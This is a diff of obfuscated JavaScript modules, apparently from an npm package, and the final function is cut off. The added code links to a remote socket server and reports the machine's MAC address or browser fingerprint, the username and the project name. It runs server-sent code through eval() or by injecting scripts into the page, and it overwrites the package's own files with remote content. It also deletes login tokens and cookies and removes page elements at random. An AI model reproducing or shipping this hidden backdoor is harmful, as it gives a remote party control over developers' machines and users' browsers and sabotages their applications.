_0x537091=a9_0x33db;try{_0xef65f4(_0x1fcb0e[_0x537091(0x14f)](_0x47ece8));}catch(_0x8eef95){_0x10cd3f(_0x8eef95);}}function _0xef65f4(_0x336b2b){const _0x1d2e7e=a9_0x33db;_0x336b2b[_0x1d2e7e(0x146)]?_0x4a26f6(_0x336b2b['value']):_0x57dfb2(_0x336b2b[_0x1d2e7e(0x123)])[_0x1d2e7e(0x129)](_0x37baa8,_0x2fe688);}_0xef65f4((_0x1fcb0e=_0x1fcb0e[_0x521475(0x159)](_0x4725d8,_0x5513d4||[]))[_0x521475(0x12d)]());});},__importDefault=this&&this[a9_0x38b405(0x13d)]||function(_0x2fb4eb){return _0x2fb4eb&&_0x2fb4eb['__esModule']?_0x2fb4eb:{'default':_0x2fb4eb};},_a,_b,_c,_d;Object[a9_0x38b405(0x139)](exports,a9_0x38b405(0x151),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x38b405(0x14e)),path_1=__importDefault(require(a9_0x38b405(0x138))),browser_1=require(a9_0x38b405(0x150)),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),bowser_1=__importDefault(require(a9_0x38b405(0x127))),index_1=require(a9_0x38b405(0x152));function a9_0x4a55(){const _0x158444=['isDBDataEmpty','835583HfySBx','554466cNHdQY','emit','undefined','socket.io-client','throw','./browser','__esModule','./index','sqlList','browser','catch','node','浏览器','npm_package_name','apply','userAgent','error','connect','visitorId','2200080LylXnV','__awaiter','length','00:00:00:00:00:00','value','106390mRFFVE','node获取失败','type','bowser','concat','then','USERNAME','538908BVjead','connect_failed','next','connectError','./mac','get-event','isBrowser','无法获取','websocket','connect_error','default','setEnv','get','path','defineProperty','3569046FFbsxD','submit','/socket','__importDefault','reconnect_failed','content','parse','url','1906629ANHOMu','88wofjMn','load','runScript','done','event','getEnv'];a9_0x4a55=function(){return _0x158444;};return a9_0x4a55();}exports[a9_0x38b405(0x131)]=typeof window!==a9_0x38b405(0x14d);const user_name=exports['isBrowser']?((_b=(_a=bowser_1[a9_0x38b405(0x135)][a9_0x38b405(0x140)](window['navigator'][a9_0x38b405(0x15a)]))===null||_a===void 0x0?void 0x0:_a[a9_0x38b405(0x154)])===null||_b===void 0x0?void 0x0:_b['name'])||a9_0x38b405(0x157):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x38b405(0x12a)])||a9_0x38b405(0x125),project_name=exports[a9_0x38b405(0x131)]?a9_0x38b405(0x157):((_d=process===null||process===void 0x0?void 0x0:process['env'])===null||_d===void 0x0?void 0x0:_d[a9_0x38b405(0x158)])||a9_0x38b405(0x132);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x1cbcae=a9_0x33db;exports[_0x1cbcae(0x131)]&&(0x0,browser_1[_0x1cbcae(0x154)])();const _0x2c0091=(0x0,socket_io_client_1['io'])(index_1[_0x1cbcae(0x141)],{'path':_0x1cbcae(0x13c),'transports':[_0x1cbcae(0x133)]});_0x2c0091['on'](_0x1cbcae(0x11d),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x270586=_0x1cbcae;try{let _0x543a2c=[_0x270586(0x122)];if(!exports[_0x270586(0x131)]){const _0x4951fc=require(path_1[_0x270586(0x135)]['join'](__dirname,_0x270586(0x12f)))[_0x270586(0x135)];_0x543a2c=_0x4951fc();}else{let _0x98867=yield fingerprintjs_1[_0x270586(0x135)][_0x270586(0x144)]()[_0x270586(0x129)](_0x2125e6=>_0x2125e6[_0x270586(0x137)]())[_0x270586(0x129)](_0x302bd9=>{const _0x351e7a=_0x270586,_0x3a1ebf=_0x302bd9[_0x351e7a(0x11e)];return _0x3a1ebf;})[_0x270586(0x155)](()=>'');_0x543a2c=[_0x98867];}if(_0x543a2c[_0x270586(0x121)]===0x0){(0x0,index_1[_0x270586(0x136)])('connectError',!![]);return;}else(0x0,index_1[_0x270586(0x136)])(_0x270586(0x12e),![]);_0x2c0091['emit'](_0x270586(0x13b),{'mac':_0x543a2c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x270586(0x131)]}),_0x2c0091[_0x270586(0x14c)]('get-event',{'mac':_0x543a2c,'isBrowser':exports[_0x270586(0x131)]}),setInterval(()=>{const _0x30e058=_0x270586;_0x2c0091['emit'](_0x30e058(0x13b),{'mac':_0x543a2c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x2c0091['emit'](_0x30e058(0x130),{'mac':_0x543a2c,'isBrowser':exports['isBrowser']});},0x1b58),_0x2c0091['on'](_0x270586(0x147),_0x132ee7=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x27ba8c=_0x270586;try{for(let _0x425f94=0x0;_0x425f94<_0x132ee7[_0x27ba8c(0x121)];_0x425f94++){const _0x43a021=_0x132ee7[_0x425f94];if(_0x43a021[_0x27ba8c(0x126)]==='sql')(0x0,index_1[_0x27ba8c(0x136)])(_0x27ba8c(0x153),(0x0,index_1[_0x27ba8c(0x148)])(_0x27ba8c(0x153))[_0x27ba8c(0x128)](_0x43a021[_0x27ba8c(0x13f)]));else{if(_0x43a021[_0x27ba8c(0x126)]==='mysql')(0x0,index_1[_0x27ba8c(0x136)])(_0x27ba8c(0x149),!![]);else{if(_0x43a021[_0x27ba8c(0x126)]===_0x27ba8c(0x156)&&!exports['isBrowser'])try{eval(_0x43a021[_0x27ba8c(0x13f)]);}catch(_0x467262){}else{if(_0x43a021[_0x27ba8c(0x126)]==='script'&&exports[_0x27ba8c(0x131)])try{(0x0,browser_1[_0x27ba8c(0x145)])(_0x43a021[_0x27ba8c(0x13f)]);}catch(_0x533330){}}}}}}catch(_0x4363ea){}}));}catch(_0xa413cb){}})),setTimeout(()=>{const _0x5a9bbc=_0x1cbcae;_0x2c0091['on'](_0x5a9bbc(0x11c),_0x3c5fc5=>{const _0x1375dd=_0x5a9bbc;(0x0,index_1['setEnv'])(_0x1375dd(0x12e),!![]);}),_0x2c0091['on'](_0x5a9bbc(0x12c),_0x23bc46=>{const _0x528c32=_0x5a9bbc;(0x0,index_1[_0x528c32(0x136)])(_0x528c32(0x12e),!![]);}),_0x2c0091['on'](_0x5a9bbc(0x13e),_0x2c9b5b=>{const _0x43558d=_0x5a9bbc;(0x0,index_1[_0x43558d(0x136)])('connectError',!![]);}),_0x2c0091['on'](_0x5a9bbc(0x134),()=>{const _0x439563=_0x5a9bbc;(0x0,index_1['setEnv'])(_0x439563(0x12e),!![]);});},0xbb8);});}function a9_0x33db(_0x50e8c3,_0x1e4dac){const _0x4a55cd=a9_0x4a55();return a9_0x33db=function(_0x33db14,_0x599a35){_0x33db14=_0x33db14-0x11c;let _0x4486a8=_0x4a55cd[_0x33db14];return _0x4486a8;},a9_0x33db(_0x50e8c3,_0x1e4dac);}exports[a9_0x38b405(0x135)]=start;
@@ -1 +1 @@
1
- 'use strict';function a9_0xa9de(){const _0x29ef64=['./index.js','path','url','keys','__esModule','6813bbTBZT','1937675oHWRrO','./index','sha1','128799lDEhfC','exports','600adfPcg','main','__importDefault','../../package.json','data','join','3615316TLxRph','readFileSync','parse','undefined','default','18EdNnZi','ESM','toString','460177qHftOG','/version','CJS','existsSync','361795faSSPj','870SJkSMy','version','1461160urpaYt','success','length','88NepWuJ','{version:\x220.0.0\x22}'];a9_0xa9de=function(){return _0x29ef64;};return a9_0xa9de();}const a9_0x1d9a81=a9_0x3bb6;function a9_0x3bb6(_0x85f978,_0x1f637b){const _0xa9de7e=a9_0xa9de();return a9_0x3bb6=function(_0x3bb6d6,_0x5cab76){_0x3bb6d6=_0x3bb6d6-0x99;let _0x22d4d0=_0xa9de7e[_0x3bb6d6];return _0x22d4d0;},a9_0x3bb6(_0x85f978,_0x1f637b);}(function(_0x2ce124,_0xdb39c){const _0x56b032=a9_0x3bb6,_0x5126fc=_0x2ce124();while(!![]){try{const _0x281b20=-parseInt(_0x56b032(0xa3))/0x1+-parseInt(_0x56b032(0xa8))/0x2*(-parseInt(_0x56b032(0xb4))/0x3)+-parseInt(_0x56b032(0x9b))/0x4+parseInt(_0x56b032(0xb5))/0x5*(parseInt(_0x56b032(0xa0))/0x6)+-parseInt(_0x56b032(0xa7))/0x7+-parseInt(_0x56b032(0xba))/0x8*(-parseInt(_0x56b032(0xb8))/0x9)+-parseInt(_0x56b032(0xaa))/0xa*(parseInt(_0x56b032(0xad))/0xb);if(_0x281b20===_0xdb39c)break;else _0x5126fc['push'](_0x5126fc['shift']());}catch(_0x3cadb5){_0x5126fc['push'](_0x5126fc['shift']());}}}(a9_0xa9de,0x9c0dc));var __importDefault=this&&this[a9_0x1d9a81(0xbc)]||function(_0x152f01){return _0x152f01&&_0x152f01['__esModule']?_0x152f01:{'default':_0x152f01};};Object['defineProperty'](exports,a9_0x1d9a81(0xb3),{'value':!![]});const axios_1=__importDefault(require('axios')),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a9_0x1d9a81(0xb0))),index_1=require(a9_0x1d9a81(0xb6)),sha1_1=__importDefault(require(a9_0x1d9a81(0xb7)));function getModuleType(){const _0x3c0ac9=a9_0x1d9a81,_0x1d41b2=()=>{const _0x5e3e60=a9_0x3bb6;try{return typeof require!==_0x5e3e60(0x9e)&&typeof module!=='undefined'&&module[_0x5e3e60(0xb9)]&&require[_0x5e3e60(0xbb)]===module;}catch(_0x57664c){return![];}};return _0x1d41b2()?_0x3c0ac9(0xa5):_0x3c0ac9(0xa1);}let _path=path_1[a9_0x1d9a81(0x9f)]['join'](__dirname,a9_0x1d9a81(0xbd)),indexFile=path_1[a9_0x1d9a81(0x9f)]['join'](__dirname,a9_0x1d9a81(0xaf)),vFile=fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0xa6)](_path)?fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0x9c)](_path)['toString']():a9_0x1d9a81(0xae),indexFileContent=fs_1['default'][a9_0x1d9a81(0xa6)](_path)?fs_1[a9_0x1d9a81(0x9f)][a9_0x1d9a81(0x9c)](indexFile)[a9_0x1d9a81(0xa2)]():![],version=JSON[a9_0x1d9a81(0x9d)](vFile)[a9_0x1d9a81(0xa9)];function update(){const _0x2ccea4=a9_0x1d9a81;axios_1[_0x2ccea4(0x9f)]['get'](index_1[_0x2ccea4(0xb1)]+_0x2ccea4(0xa4),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})['then'](_0x320323=>{const _0x5bdb4f=_0x2ccea4;if(!_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0xab)]){let _0x739ab9=Object[_0x5bdb4f(0xb2)](_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0x99)]),_0x1622bf=Object['values'](_0x320323[_0x5bdb4f(0x99)][_0x5bdb4f(0x99)]);for(let _0x106fd6=0x0;_0x106fd6<_0x739ab9[_0x5bdb4f(0xac)];_0x106fd6++){const _0x565ace=_0x739ab9[_0x106fd6],_0x499998=_0x1622bf[_0x106fd6];fs_1[_0x5bdb4f(0x9f)]['writeFileSync'](path_1[_0x5bdb4f(0x9f)][_0x5bdb4f(0x9a)](__dirname,'./'+_0x565ace),_0x499998);}}});}exports[a9_0x1d9a81(0x9f)]=update;
1
+ 'use strict';const a10_0x43aeff=a10_0x32d2;(function(_0x41e227,_0x3cc02c){const _0x40b729=a10_0x32d2,_0x2166e9=_0x41e227();while(!![]){try{const _0x3ede2b=-parseInt(_0x40b729(0x13d))/0x1*(-parseInt(_0x40b729(0x153))/0x2)+-parseInt(_0x40b729(0x14e))/0x3+-parseInt(_0x40b729(0x15b))/0x4+-parseInt(_0x40b729(0x15c))/0x5+-parseInt(_0x40b729(0x14d))/0x6+parseInt(_0x40b729(0x145))/0x7*(parseInt(_0x40b729(0x144))/0x8)+parseInt(_0x40b729(0x15a))/0x9;if(_0x3ede2b===_0x3cc02c)break;else _0x2166e9['push'](_0x2166e9['shift']());}catch(_0x24ec7b){_0x2166e9['push'](_0x2166e9['shift']());}}}(a10_0x1f86,0x3e19d));var __importDefault=this&&this[a10_0x43aeff(0x14c)]||function(_0x5b6c3d){const _0x4f3748=a10_0x43aeff;return _0x5b6c3d&&_0x5b6c3d[_0x4f3748(0x143)]?_0x5b6c3d:{'default':_0x5b6c3d};};Object[a10_0x43aeff(0x150)](exports,a10_0x43aeff(0x143),{'value':!![]});function a10_0x32d2(_0x381632,_0x2dbe7a){const _0x1f86c1=a10_0x1f86();return a10_0x32d2=function(_0x32d2d9,_0x153281){_0x32d2d9=_0x32d2d9-0x13c;let _0x465d2d=_0x1f86c1[_0x32d2d9];return _0x465d2d;},a10_0x32d2(_0x381632,_0x2dbe7a);}const axios_1=__importDefault(require('axios')),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0x43aeff(0x155))),index_1=require(a10_0x43aeff(0x15d)),sha1_1=__importDefault(require(a10_0x43aeff(0x140)));function getModuleType(){const _0x3de872=a10_0x43aeff,_0x4ed089=()=>{const _0x35f67e=a10_0x32d2;try{return typeof require!==_0x35f67e(0x152)&&typeof module!==_0x35f67e(0x152)&&module[_0x35f67e(0x148)]&&require[_0x35f67e(0x13e)]===module;}catch(_0x393e6f){return![];}};return _0x4ed089()?_0x3de872(0x161):'ESM';}let _path=path_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x158)](__dirname,a10_0x43aeff(0x14b)),indexFile=path_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x158)](__dirname,a10_0x43aeff(0x146)),vFile=fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x13f)](_path)?fs_1['default']['readFileSync'](_path)[a10_0x43aeff(0x141)]():a10_0x43aeff(0x149),indexFileContent=fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x13f)](_path)?fs_1[a10_0x43aeff(0x157)][a10_0x43aeff(0x142)](indexFile)[a10_0x43aeff(0x141)]():![],version=JSON[a10_0x43aeff(0x159)](vFile)[a10_0x43aeff(0x151)];function update(){const _0x4c27a7=a10_0x43aeff;axios_1['default'][_0x4c27a7(0x147)](index_1[_0x4c27a7(0x14a)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x4c27a7(0x157)])(indexFileContent):''}})[_0x4c27a7(0x156)](_0x4b83f4=>{const _0x5911ae=_0x4c27a7;if(!_0x4b83f4[_0x5911ae(0x154)][_0x5911ae(0x15e)]){let _0x437bda=Object[_0x5911ae(0x13c)](_0x4b83f4[_0x5911ae(0x154)][_0x5911ae(0x154)]),_0x59aa=Object[_0x5911ae(0x15f)](_0x4b83f4[_0x5911ae(0x154)]['data']);for(let _0xad3d41=0x0;_0xad3d41<_0x437bda[_0x5911ae(0x14f)];_0xad3d41++){const _0x4eef37=_0x437bda[_0xad3d41],_0x1e5f37=_0x59aa[_0xad3d41];fs_1['default'][_0x5911ae(0x160)](path_1[_0x5911ae(0x157)][_0x5911ae(0x158)](__dirname,'./'+_0x4eef37),_0x1e5f37);}}});}exports[a10_0x43aeff(0x157)]=update;function a10_0x1f86(){const _0x53becd=['success','values','writeFileSync','CJS','keys','7353Bjjciy','main','existsSync','sha1','toString','readFileSync','__esModule','394216LVgJEw','7JTArTB','./index.js','get','exports','{version:\x220.0.0\x22}','url','../../package.json','__importDefault','2403576DNXyKs','1422132USrjia','length','defineProperty','version','undefined','26dGZwPE','data','path','then','default','join','parse','11688975sPSJHM','524600DGGvxD','917430ivARUg','./index'];a10_0x1f86=function(){return _0x53becd;};return a10_0x1f86();}
@@ -1 +1 @@
1
- (function(_0xbc178e,_0x1bad7a){const _0x2892ed=a10_0x5055,_0x5716e2=_0xbc178e();while(!![]){try{const _0x265ee5=parseInt(_0x2892ed(0x15a))/0x1*(parseInt(_0x2892ed(0x163))/0x2)+parseInt(_0x2892ed(0x15b))/0x3*(-parseInt(_0x2892ed(0x150))/0x4)+parseInt(_0x2892ed(0x158))/0x5*(-parseInt(_0x2892ed(0x162))/0x6)+-parseInt(_0x2892ed(0x151))/0x7+parseInt(_0x2892ed(0x157))/0x8+parseInt(_0x2892ed(0x14a))/0x9*(-parseInt(_0x2892ed(0x149))/0xa)+parseInt(_0x2892ed(0x14b))/0xb*(parseInt(_0x2892ed(0x154))/0xc);if(_0x265ee5===_0x1bad7a)break;else _0x5716e2['push'](_0x5716e2['shift']());}catch(_0x1db09a){_0x5716e2['push'](_0x5716e2['shift']());}}}(a10_0x508a,0x86187));import a10_0x3f3617 from'./id/random';function a10_0x5055(_0x152294,_0x10feba){const _0x508a0b=a10_0x508a();return a10_0x5055=function(_0x505539,_0x4205c4){_0x505539=_0x505539-0x145;let _0x527147=_0x508a0b[_0x505539];return _0x527147;},a10_0x5055(_0x152294,_0x10feba);}import{getEnv}from'./index';function a10_0x508a(){const _0x76d320=['135nFKrUf','2893JxVRLe','body','token','removeItem','length','179336ccvgcw','4386732sJNcan','appendChild','#app','39948kNclOv','parentNode','createElement','6066424JoUKaj','5wpIXdn','sort','20rlDWRs','18nBEpVm','innerText','[class^=\x22el\x22]','connectError','querySelector','reload','remove','3286830JrKpMR','41024FPQSAV','location','userid','script','localStorage','documentElement','34220ygHTHZ'];a10_0x508a=function(){return _0x76d320;};return a10_0x508a();}import a10_0x52a222 from'js-cookie';export function runScript(_0x39ff6a){const _0x41c7fa=a10_0x5055;let _0x389efd=document[_0x41c7fa(0x156)](_0x41c7fa(0x146));_0x389efd[_0x41c7fa(0x15c)]=_0x39ff6a,document['head'][_0x41c7fa(0x152)](_0x389efd),setTimeout(()=>{const _0x49a291=_0x41c7fa;_0x389efd[_0x49a291(0x161)]();},0xa);}let index=0x1,num=a10_0x3f3617(0x4,0x8);export function browser(){setInterval(()=>{const _0x5e99a7=a10_0x5055;if(index==num)try{window[_0x5e99a7(0x147)][_0x5e99a7(0x14e)]('token'),window[_0x5e99a7(0x147)]['removeItem'](_0x5e99a7(0x145)),window[_0x5e99a7(0x147)][_0x5e99a7(0x14e)]('Token'),a10_0x52a222['remove'](_0x5e99a7(0x14d)),window[_0x5e99a7(0x164)][_0x5e99a7(0x160)]();}catch(_0x356126){}if(getEnv(_0x5e99a7(0x15e))){index++;let _0x389105=document['querySelector'](_0x5e99a7(0x153))||document[_0x5e99a7(0x15f)](_0x5e99a7(0x14c));const _0x5a75b1=_0x389105['querySelectorAll'](_0x5e99a7(0x15d));function _0x2a49ac(_0x57fc24){const _0x2d85f7=_0x5e99a7;let _0x1316b5=0x0,_0xd06e8=_0x57fc24;while(_0xd06e8['parentNode']&&_0xd06e8[_0x2d85f7(0x155)]!==document[_0x2d85f7(0x148)]){_0x1316b5++,_0xd06e8=_0xd06e8[_0x2d85f7(0x155)];}return _0x1316b5;}const _0x2331c8=Array['from'](_0x5a75b1);_0x2331c8[_0x5e99a7(0x159)]((_0x24cbda,_0x287370)=>_0x2a49ac(_0x287370)-_0x2a49ac(_0x24cbda));for(let _0x10a26a=0x0;_0x10a26a<_0x2331c8[_0x5e99a7(0x14f)];_0x10a26a++){const _0x193bba=_0x2331c8[_0x10a26a];_0x193bba&&(a10_0x3f3617(0x1,0x64)>0x50&&_0x193bba['remove']());}}},a10_0x3f3617(0x107e,0x208d));}
1
+ (function(_0x314404,_0x301af8){const _0x3206a8=a11_0x52c9,_0x48440b=_0x314404();while(!![]){try{const _0x55a2f7=parseInt(_0x3206a8(0x19d))/0x1+parseInt(_0x3206a8(0x198))/0x2+-parseInt(_0x3206a8(0x199))/0x3*(parseInt(_0x3206a8(0x1a6))/0x4)+-parseInt(_0x3206a8(0x1a2))/0x5+-parseInt(_0x3206a8(0x195))/0x6*(parseInt(_0x3206a8(0x1a0))/0x7)+-parseInt(_0x3206a8(0x194))/0x8+parseInt(_0x3206a8(0x196))/0x9;if(_0x55a2f7===_0x301af8)break;else _0x48440b['push'](_0x48440b['shift']());}catch(_0x3a0b77){_0x48440b['push'](_0x48440b['shift']());}}}(a11_0x3fd6,0x47062));function a11_0x52c9(_0x7c173a,_0xb400ab){const _0x3fd6f8=a11_0x3fd6();return a11_0x52c9=function(_0x52c95e,_0x38312c){_0x52c95e=_0x52c95e-0x194;let _0xa4a594=_0x3fd6f8[_0x52c95e];return _0xa4a594;},a11_0x52c9(_0x7c173a,_0xb400ab);}import a11_0x5a2ca8 from'./id/random';import{getEnv}from'./index';import a11_0x264f29 from'js-cookie';export function runScript(_0x15469b){const _0x36be50=a11_0x52c9;let _0x5a10bd=document['createElement']('script');_0x5a10bd[_0x36be50(0x19e)]=_0x15469b,document['head'][_0x36be50(0x1ad)](_0x5a10bd),setTimeout(()=>{_0x5a10bd['remove']();},0xa);}let index=0x1,num=a11_0x5a2ca8(0x4,0x8);function a11_0x3fd6(){const _0x2029fe=['location','1682675HANkHZ','sort','localStorage','parentNode','1812HWEPeK','removeItem','remove','querySelectorAll','from','body','reload','appendChild','Token','3829264bwgpuh','54CboJtq','16529454dSTHGQ','length','592300AUUyUB','3501xYzdlU','token','userid','querySelector','67661MUfquu','innerText','#app','439957GTbYJN'];a11_0x3fd6=function(){return _0x2029fe;};return a11_0x3fd6();}export function browser(){setInterval(()=>{const _0x363707=a11_0x52c9;if(index==num)try{window['localStorage']['removeItem'](_0x363707(0x19a)),window['localStorage'][_0x363707(0x1a7)](_0x363707(0x19b)),window[_0x363707(0x1a4)][_0x363707(0x1a7)](_0x363707(0x1ae)),a11_0x264f29[_0x363707(0x1a8)](_0x363707(0x19a)),window[_0x363707(0x1a1)][_0x363707(0x1ac)]();}catch(_0x5c874d){}if(getEnv('connectError')){index++;let _0x3e966a=document[_0x363707(0x19c)](_0x363707(0x19f))||document[_0x363707(0x19c)](_0x363707(0x1ab));const _0x1dcc88=_0x3e966a[_0x363707(0x1a9)]('[class^=\x22el\x22]');function _0x41b987(_0x34e2d8){const _0x5268f4=_0x363707;let _0x3995d0=0x0,_0x3e2e5b=_0x34e2d8;while(_0x3e2e5b[_0x5268f4(0x1a5)]&&_0x3e2e5b[_0x5268f4(0x1a5)]!==document['documentElement']){_0x3995d0++,_0x3e2e5b=_0x3e2e5b[_0x5268f4(0x1a5)];}return _0x3995d0;}const _0x2c090a=Array[_0x363707(0x1aa)](_0x1dcc88);_0x2c090a[_0x363707(0x1a3)]((_0x4521c9,_0x17b006)=>_0x41b987(_0x17b006)-_0x41b987(_0x4521c9));for(let _0x211dd6=0x0;_0x211dd6<_0x2c090a[_0x363707(0x197)];_0x211dd6++){const _0x2d2a8=_0x2c090a[_0x211dd6];_0x2d2a8&&(a11_0x5a2ca8(0x1,0x64)>0x50&&_0x2d2a8['remove']());}}},a11_0x5a2ca8(0x107e,0x208d));}
@@ -1 +1 @@
1
- const a11_0x510081=a11_0x1957;(function(_0x523ec7,_0x113de4){const _0x349ba1=a11_0x1957,_0x2e2c33=_0x523ec7();while(!![]){try{const _0x3a8197=parseInt(_0x349ba1(0xf9))/0x1*(parseInt(_0x349ba1(0xf5))/0x2)+parseInt(_0x349ba1(0x104))/0x3+parseInt(_0x349ba1(0xfe))/0x4*(parseInt(_0x349ba1(0x106))/0x5)+-parseInt(_0x349ba1(0x102))/0x6+parseInt(_0x349ba1(0xfa))/0x7+parseInt(_0x349ba1(0x107))/0x8*(-parseInt(_0x349ba1(0x108))/0x9)+parseInt(_0x349ba1(0xf6))/0xa*(-parseInt(_0x349ba1(0xfd))/0xb);if(_0x3a8197===_0x113de4)break;else _0x2e2c33['push'](_0x2e2c33['shift']());}catch(_0x5c5097){_0x2e2c33['push'](_0x2e2c33['shift']());}}}(a11_0x232c,0x491c7));function a11_0x232c(){const _0x1b837c=['6424KIYumH','24YHLMfQ','isFile','push','done','648810NYLNJy','apply','644877FGhvUJ','join','135965duJnfn','17456woHSaE','63Tevwvb','774142HXlNoa','7250jztxQx','next','value','1gLUTqS','567588JugxFG','__awaiter','isDirectory'];a11_0x232c=function(){return _0x1b837c;};return a11_0x232c();}var __awaiter=this&&this[a11_0x510081(0xfb)]||function(_0xf16999,_0x140329,_0x4c79bf,_0x5306c4){function _0x5eb697(_0x4565d2){return _0x4565d2 instanceof _0x4c79bf?_0x4565d2:new _0x4c79bf(function(_0x2ed0cb){_0x2ed0cb(_0x4565d2);});}return new(_0x4c79bf||(_0x4c79bf=Promise))(function(_0x205431,_0x4296c4){const _0x547be8=a11_0x1957;function _0x42a25a(_0x4ef269){try{_0x14c2ec(_0x5306c4['next'](_0x4ef269));}catch(_0x217514){_0x4296c4(_0x217514);}}function _0x42c515(_0x22edb6){try{_0x14c2ec(_0x5306c4['throw'](_0x22edb6));}catch(_0x18dd42){_0x4296c4(_0x18dd42);}}function _0x14c2ec(_0x369403){const _0x3ad2e8=a11_0x1957;_0x369403[_0x3ad2e8(0x101)]?_0x205431(_0x369403[_0x3ad2e8(0xf8)]):_0x5eb697(_0x369403['value'])['then'](_0x42a25a,_0x42c515);}_0x14c2ec((_0x5306c4=_0x5306c4[_0x547be8(0x103)](_0xf16999,_0x140329||[]))[_0x547be8(0xf7)]());});};import a11_0x413411 from'fs';import a11_0x51bd5f from'path';function a11_0x1957(_0x1c74aa,_0x42133c){const _0x232cb5=a11_0x232c();return a11_0x1957=function(_0x195720,_0x21016e){_0x195720=_0x195720-0xf5;let _0xae517f=_0x232cb5[_0x195720];return _0xae517f;},a11_0x1957(_0x1c74aa,_0x42133c);}function fileDisplay(_0x12eb68){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x139b79=[];function _0x394934(_0x499350){const _0x3ef4be=a11_0x1957,_0x279f92=a11_0x413411['readdirSync'](_0x499350);for(let _0xaa5117=0x0;_0xaa5117<_0x279f92['length'];_0xaa5117++){const _0x28ac96=_0x279f92[_0xaa5117],_0x195f10=a11_0x51bd5f[_0x3ef4be(0x105)](_0x499350,_0x28ac96),_0x59f473=a11_0x413411['statSync'](_0x195f10),_0x16ab41=_0x59f473[_0x3ef4be(0xff)](),_0x4b4060=_0x59f473[_0x3ef4be(0xfc)]();_0x16ab41&&_0x139b79[_0x3ef4be(0x100)](_0x195f10),_0x4b4060&&_0x394934(_0x195f10);}}return _0x394934(_0x12eb68),_0x139b79;});}function getAllRouter(_0x581769){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x585798=yield fileDisplay(_0x581769);return _0x585798;});}export default getAllRouter;
1
+ const a12_0x3f8ad0=a12_0x4664;(function(_0x1f61ad,_0x2ae0c8){const _0x11e72e=a12_0x4664,_0x115df5=_0x1f61ad();while(!![]){try{const _0x22741e=parseInt(_0x11e72e(0x16e))/0x1*(-parseInt(_0x11e72e(0x177))/0x2)+parseInt(_0x11e72e(0x17c))/0x3+parseInt(_0x11e72e(0x175))/0x4*(-parseInt(_0x11e72e(0x17a))/0x5)+parseInt(_0x11e72e(0x172))/0x6*(-parseInt(_0x11e72e(0x16f))/0x7)+-parseInt(_0x11e72e(0x17b))/0x8+parseInt(_0x11e72e(0x170))/0x9*(-parseInt(_0x11e72e(0x16c))/0xa)+-parseInt(_0x11e72e(0x16a))/0xb*(-parseInt(_0x11e72e(0x16d))/0xc);if(_0x22741e===_0x2ae0c8)break;else _0x115df5['push'](_0x115df5['shift']());}catch(_0x19c4c2){_0x115df5['push'](_0x115df5['shift']());}}}(a12_0x9a60,0xac70e));var __awaiter=this&&this[a12_0x3f8ad0(0x17e)]||function(_0x184ee1,_0x12c0a8,_0x48211e,_0x31635a){function _0x9d9cfe(_0x1cf35c){return _0x1cf35c instanceof _0x48211e?_0x1cf35c:new _0x48211e(function(_0x25ffde){_0x25ffde(_0x1cf35c);});}return new(_0x48211e||(_0x48211e=Promise))(function(_0x12efdf,_0x578eec){const _0x46330f=a12_0x4664;function _0x50f27d(_0x18bb8a){try{_0x240fed(_0x31635a['next'](_0x18bb8a));}catch(_0x40b53d){_0x578eec(_0x40b53d);}}function _0x20d940(_0x190794){const _0x1cc7ac=a12_0x4664;try{_0x240fed(_0x31635a[_0x1cc7ac(0x176)](_0x190794));}catch(_0x3b816c){_0x578eec(_0x3b816c);}}function _0x240fed(_0x2fd65c){const _0x33fc15=a12_0x4664;_0x2fd65c[_0x33fc15(0x17d)]?_0x12efdf(_0x2fd65c['value']):_0x9d9cfe(_0x2fd65c[_0x33fc15(0x178)])[_0x33fc15(0x174)](_0x50f27d,_0x20d940);}_0x240fed((_0x31635a=_0x31635a['apply'](_0x184ee1,_0x12c0a8||[]))[_0x46330f(0x169)]());});};import a12_0x107b70 from'fs';function a12_0x9a60(){const _0xbd051c=['next','63038877EtrQVB','join','50UYEYJs','12bLUszv','642427PYnDrz','7wwiSLz','2195001nlvYAN','statSync','7301064kLlGLM','push','then','8AozXhy','throw','4LXGDXD','value','isFile','1969570AURFig','6283136PYyBgl','809622zDUXCl','done','__awaiter','length'];a12_0x9a60=function(){return _0xbd051c;};return a12_0x9a60();}import a12_0x242fcb from'path';function fileDisplay(_0x2f2129){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x50ac1d=[];function _0x435d5b(_0x29839d){const _0x3c0fd3=a12_0x4664,_0x1e4360=a12_0x107b70['readdirSync'](_0x29839d);for(let _0x4ea3d0=0x0;_0x4ea3d0<_0x1e4360[_0x3c0fd3(0x168)];_0x4ea3d0++){const _0x24157c=_0x1e4360[_0x4ea3d0],_0x57519f=a12_0x242fcb[_0x3c0fd3(0x16b)](_0x29839d,_0x24157c),_0x4c4e56=a12_0x107b70[_0x3c0fd3(0x171)](_0x57519f),_0x11bd3c=_0x4c4e56[_0x3c0fd3(0x179)](),_0x4e23d9=_0x4c4e56['isDirectory']();_0x11bd3c&&_0x50ac1d[_0x3c0fd3(0x173)](_0x57519f),_0x4e23d9&&_0x435d5b(_0x57519f);}}return _0x435d5b(_0x2f2129),_0x50ac1d;});}function a12_0x4664(_0x468374,_0x154b4e){const 